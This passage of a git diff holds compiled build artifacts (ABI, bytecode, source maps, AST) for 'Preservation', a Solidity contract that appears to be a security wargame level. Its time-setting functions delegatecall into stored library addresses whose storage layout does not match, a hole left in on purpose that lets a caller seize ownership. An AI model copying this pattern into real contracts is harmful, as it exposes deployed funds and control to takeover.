memory)"}},"id":54029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"908:46:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":54022,"name":"timeZone2Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53968,"src":"878:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54024,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"895:12:97","memberName":"delegatecall","nodeType":"MemberAccess","src":"878:29:97","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":54030,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"878:77:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"id":54031,"nodeType":"ExpressionStatement","src":"878:77:97"}]},"functionSelector":"5bda8fa4","implemented":true,"kind":"function","modifiers":[],"name":"setSecondTime","nameLocation":"827:13:97","parameters":{"id":54020,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54019,"mutability":"mutable","name":"_timeStamp","nameLocation":"849:10:97","nodeType":"VariableDeclaration","scope":54033,"src":"841:18:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54018,"name":"uint256","nodeType":"ElementaryTypeName","src":"841:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"840:20:97"},"returnParameters":{"id":54021,"nodeType":"ParameterList","parameters":[],"src":"868:0:97"},"scope":54034,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Preservation","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54034],"name":"Preservation","nameLocation":"66:12:97","scope":54048,"usedErrors":[],"usedEvents":[]},{"id":54047,"nodeType":"ContractDefinition","src":"1009:158:97","nodes":[{"id":54036,"nodeType":"VariableDeclaration","src":"1066:18:97","nodes":[],"constant":false,"mutability":"mutable","name":"storedTime","nameLocation":"1074:10:97","scope":54047,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54035,"name":"uint256","nodeType":"ElementaryTypeName","src":"1066:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":54046,"nodeType":"FunctionDefinition","src":"1091:74:97","nodes":[],"body":{"id":54045,"nodeType":"Block","src":"1130:35:97","nodes":[],"statements":[{"expression":{"id":54043,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54041,"name":"storedTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54036,"src":"1140:10:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54042,"name":"_time","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54038,"src":"1153:5:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1140:18:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54044,"nodeType":"ExpressionStatement","src":"1140:18:97"}]},"functionSelector":"3beb26c4","implemented":true,"kind":"function","modifiers":[],"name":"setTime","nameLocation":"1100:7:97","parameters":{"id":54039,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54038,"mutability":"mutable","name":"_time","nameLocation":"1116:5:97","nodeType":"VariableDeclaration","scope":54046,"src":"1108:13:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54037,"name":"uint256","nodeType":"ElementaryTypeName","src":"1108:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1107:15:97"},"returnParameters":{"id":54040,"nodeType":"ParameterList","parameters":[],"src":"1130:0:97"},"scope":54047,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"LibraryContract","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54047],"name":"LibraryContract","nameLocation":"1018:15:97","scope":54048,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":97} \ No newline at end of file diff --git a/contracts/out/Preservation.sol/Preservation.json b/contracts/out/Preservation.sol/Preservation.json new file mode 100644 index 000000000..55a5318dd --- /dev/null +++ b/contracts/out/Preservation.sol/Preservation.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_timeZone1LibraryAddress","type":"address","internalType":"address"},{"name":"_timeZone2LibraryAddress","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"setFirstTime","inputs":[{"name":"_timeStamp","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setSecondTime","inputs":[{"name":"_timeStamp","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"timeZone1Library","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"timeZone2Library","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506040516102d83803806102d883398101604081905261002e91610089565b5f80546001600160a01b039384166001600160a01b03199182161790915560018054929093169181169190911790915560028054909116331790556100ba565b80516001600160a01b0381168114610084575f80fd5b919050565b5f806040838503121561009a575f80fd5b6100a38361006e565b91506100b16020840161006e565b90509250929050565b610211806100c75f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635bda8fa41161004d5780635bda8fa4146100a95780638da5cb5b146100be578063f1e02620146100d1575f80fd5b806327d6974f146100685780633dc7942214610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f5461007b906001600160a01b031681565b6100bc6100b7366004610198565b6100e4565b005b60025461007b906001600160a01b031681565b6100bc6100df366004610198565b61016b565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f1981840301815290829052610128916101af565b5f60405180830381855af49150503d805f8114610160576040519150601f19603f3d011682016040523d82523d5f602084013e610165565b606091505b50505050565b5f54604051630efac9b160e21b6020820152602481018390526001600160a01b039091169060440161010e565b5f602082840312156101a8575f80fd5b5035919050565b5f82515f5b818110156101ce57602081860181015185830152016101b4565b505f92019182525091905056fea2646970667358221220b19f38674ff64108fe7c176a97d29297a530923bccef78328e4b3acca189e5e064736f6c63430008180033","sourceMap":"57:907:97:-:0;;;372:221;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;462:16;:43;;-1:-1:-1;;;;;462:43:97;;;-1:-1:-1;;;;;;462:43:97;;;;;;;;515;;;;;;;;;;;;;;;;568:5;:18;;;;;576:10;568:18;;;57:907;;14:177:155;93:13;;-1:-1:-1;;;;;135:31:155;;125:42;;115:70;;181:1;178;171:12;115:70;14:177;;;:::o;196:293::-;275:6;283;336:2;324:9;315:7;311:23;307:32;304:52;;;352:1;349;342:12;304:52;375:40;405:9;375:40;:::i;:::-;365:50;;434:49;479:2;468:9;464:18;434:49;:::i;:::-;424:59;;196:293;;;;;:::o;:::-;57:907:97;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635bda8fa41161004d5780635bda8fa4146100a95780638da5cb5b146100be578063f1e02620146100d1575f80fd5b806327d6974f146100685780633dc7942214610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f5461007b906001600160a01b031681565b6100bc6100b7366004610198565b6100e4565b005b60025461007b906001600160a01b031681565b6100bc6100df366004610198565b61016b565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f1981840301815290829052610128916101af565b5f60405180830381855af49150503d805f8114610160576040519150601f19603f3d011682016040523d82523d5f602084013e610165565b606091505b50505050565b5f54604051630efac9b160e21b6020820152602481018390526001600160a01b039091169060440161010e565b5f602082840312156101a8575f80fd5b5035919050565b5f82515f5b818110156101ce57602081860181015185830152016101b4565b505f92019182525091905056fea2646970667358221220b19f38674ff64108fe7c176a97d29297a530923bccef78328e4b3acca189e5e064736f6c63430008180033","sourceMap":"57:907:97:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;154:31;;;;;-1:-1:-1;;;;;154:31:97;;;;;;-1:-1:-1;;;;;178:55:155;;;160:74;;148:2;133:18;154:31:97;;;;;;;117;;;;;-1:-1:-1;;;;;117:31:97;;;818:144;;;;;;:::i;:::-;;:::i;:::-;;191:20;;;;;-1:-1:-1;;;;;191:20:97;;;634:143;;;;;;:::i;:::-;;:::i;818:144::-;878:16;;908:46;;-1:-1:-1;;;908:46:97;;;585:92:155;693:11;;;686:27;;;-1:-1:-1;;;;;878:16:97;;;;729:12:155;;908:46:97;;;;-1:-1:-1;;908:46:97;;;;;;;;;;878:77;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;818:144;:::o;634:143::-;693:16;;723:46;;-1:-1:-1;;;723:46:97;;;585:92:155;693:11;;;686:27;;;-1:-1:-1;;;;;693:16:97;;;;729:12:155;;723:46:97;430:317:155;245:180;304:6;357:2;345:9;336:7;332:23;328:32;325:52;;;373:1;370;363:12;325:52;-1:-1:-1;396:23:155;;245:180;-1:-1:-1;245:180:155:o;752:412::-;881:3;919:6;913:13;944:1;954:129;968:6;965:1;962:13;954:129;;;1066:4;1050:14;;;1046:25;;1040:32;1027:11;;;1020:53;983:12;954:129;;;-1:-1:-1;1138:1:155;1102:16;;1127:13;;;-1:-1:-1;1102:16:155;752:412;-1:-1:-1;752:412:155:o","linkReferences":{}},"methodIdentifiers":{"owner()":"8da5cb5b","setFirstTime(uint256)":"f1e02620","setSecondTime(uint256)":"5bda8fa4","timeZone1Library()":"3dc79422","timeZone2Library()":"27d6974f"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_timeZone1LibraryAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_timeZone2LibraryAddress\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_timeStamp\",\"type\":\"uint256\"}],\"name\":\"setFirstTime\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_timeStamp\",\"type\":\"uint256\"}],\"name\":\"setSecondTime\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"timeZone1Library\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"timeZone2Library\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Preservation.sol\":\"Preservation\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Preservation.sol\":{\"keccak256\":\"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67\",\"dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_timeZone1LibraryAddress","type":"address"},{"internalType":"address","name":"_timeZone2LibraryAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"_timeStamp","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"setFirstTime"},{"inputs":[{"internalType":"uint256","name":"_timeStamp","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"setSecondTime"},{"inputs":[],"stateMutability":"view","type":"function","name":"timeZone1Library","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"timeZone2Library","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Preservation.sol":"Preservation"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Preservation.sol":{"keccak256":"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7","urls":["bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67","dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Preservation.sol","id":54048,"exportedSymbols":{"LibraryContract":[54047],"Preservation":[54034]},"nodeType":"SourceUnit","src":"32:1136:97","nodes":[{"id":53964,"nodeType":"PragmaDirective","src":"32:23:97","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54034,"nodeType":"ContractDefinition","src":"57:907:97","nodes":[{"id":53966,"nodeType":"VariableDeclaration","src":"117:31:97","nodes":[],"constant":false,"functionSelector":"3dc79422","mutability":"mutable","name":"timeZone1Library","nameLocation":"132:16:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53965,"name":"address","nodeType":"ElementaryTypeName","src":"117:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53968,"nodeType":"VariableDeclaration","src":"154:31:97","nodes":[],"constant":false,"functionSelector":"27d6974f","mutability":"mutable","name":"timeZone2Library","nameLocation":"169:16:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53967,"name":"address","nodeType":"ElementaryTypeName","src":"154:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53970,"nodeType":"VariableDeclaration","src":"191:20:97","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"206:5:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53969,"name":"address","nodeType":"ElementaryTypeName","src":"191:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53972,"nodeType":"VariableDeclaration","src":"217:18:97","nodes":[],"constant":false,"mutability":"mutable","name":"storedTime","nameLocation":"225:10:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53971,"name":"uint256","nodeType":"ElementaryTypeName","src":"217:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":53980,"nodeType":"VariableDeclaration","src":"293:72:97","nodes":[],"constant":true,"mutability":"constant","name":"setTimeSignature","nameLocation":"309:16:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":53973,"name":"bytes4","nodeType":"ElementaryTypeName","src":"293:6:97","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"value":{"arguments":[{"arguments":[{"hexValue":"73657454696d652875696e7432353629","id":53977,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"345:18:97","typeDescriptions":{"typeIdentifier":"t_stringliteral_3beb26c427d03ceadbdaedc2f7aac4d9fc345b4fcbfc4b80654fee46dd7c349a","typeString":"literal_string \"setTime(uint256)\""},"value":"setTime(uint256)"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3beb26c427d03ceadbdaedc2f7aac4d9fc345b4fcbfc4b80654fee46dd7c349a","typeString":"literal_string \"setTime(uint256)\""}],"id":53976,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"335:9:97","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"335:29:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":53975,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"328:6:97","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":53974,"name":"bytes4","nodeType":"ElementaryTypeName","src":"328:6:97","typeDescriptions":{}}},"id":53979,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"328:37:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"},{"id":54001,"nodeType":"FunctionDefinition","src":"372:221:97","nodes":[],"body":{"id":54000,"nodeType":"Block","src":"452:141:97","nodes":[],"statements":[{"expression":{"id":53989,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53987,"name":"timeZone1Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53966,"src":"462:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53988,"name":"_timeZone1LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53982,"src":"481:24:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"462:43:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53990,"nodeType":"ExpressionStatement","src":"462:43:97"},{"expression":{"id":53993,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53991,"name":"timeZone2Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53968,"src":"515:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53992,"name":"_timeZone2LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53984,"src":"534:24:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"515:43:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53994,"nodeType":"ExpressionStatement","src":"515:43:97"},{"expression":{"id":53998,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53995,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53970,"src":"568:5:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53996,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"576:3:97","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53997,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"580:6:97","memberName":"sender","nodeType":"MemberAccess","src":"576:10:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"568:18:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53999,"nodeType":"ExpressionStatement","src":"568:18:97"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53985,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53982,"mutability":"mutable","name":"_timeZone1LibraryAddress","nameLocation":"392:24:97","nodeType":"VariableDeclaration","scope":54001,"src":"384:32:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53981,"name":"address","nodeType":"ElementaryTypeName","src":"384:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":53984,"mutability":"mutable","name":"_timeZone2LibraryAddress","nameLocation":"426:24:97","nodeType":"VariableDeclaration","scope":54001,"src":"418:32:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53983,"name":"address","nodeType":"ElementaryTypeName","src":"418:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"383:68:97"},"returnParameters":{"id":53986,"nodeType":"ParameterList","parameters":[],"src":"452:0:97"},"scope":54034,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54017,"nodeType":"FunctionDefinition","src":"634:143:97","nodes":[],"body":{"id":54016,"nodeType":"Block","src":"683:94:97","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":54011,"name":"setTimeSignature","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53980,"src":"740:16:97","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"id":54012,"name":"_timeStamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54003,"src":"758:10:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":54009,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"723:3:97","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54010,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"727:12:97","memberName":"encodePacked","nodeType":"MemberAccess","src":"723:16:97","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":54013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"723:46:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":54006,"name":"timeZone1Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53966,"src":"693:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54008,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"710:12:97","memberName":"delegatecall","nodeType":"MemberAccess","src":"693:29:97","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":54014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"693:77:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"id":54015,"nodeType":"ExpressionStatement","src":"693:77:97"}]},"functionSelector":"f1e02620","implemented":true,"kind":"function","modifiers":[],"name":"setFirstTime","nameLocation":"643:12:97","parameters":{"id":54004,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54003,"mutability":"mutable","name":"_timeStamp","nameLocation":"664:10:97","nodeType":"VariableDeclaration","scope":54017,"src":"656:18:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54002,"name":"uint256","nodeType":"ElementaryTypeName","src":"656:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"655:20:97"},"returnParameters":{"id":54005,"nodeType":"ParameterList","parameters":[],"src":"683:0:97"},"scope":54034,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54033,"nodeType":"FunctionDefinition","src":"818:144:97","nodes":[],"body":{"id":54032,"nodeType":"Block","src":"868:94:97","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":54027,"name":"setTimeSignature","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53980,"src":"925:16:97","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"id":54028,"name":"_timeStamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54019,"src":"943:10:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":54025,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"908:3:97","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54026,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"912:12:97","memberName":"encodePacked","nodeType":"MemberAccess","src":"908:16:97","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":54029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"908:46:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":54022,"name":"timeZone2Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53968,"src":"878:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54024,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"895:12:97","memberName":"delegatecall","nodeType":"MemberAccess","src":"878:29:97","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes 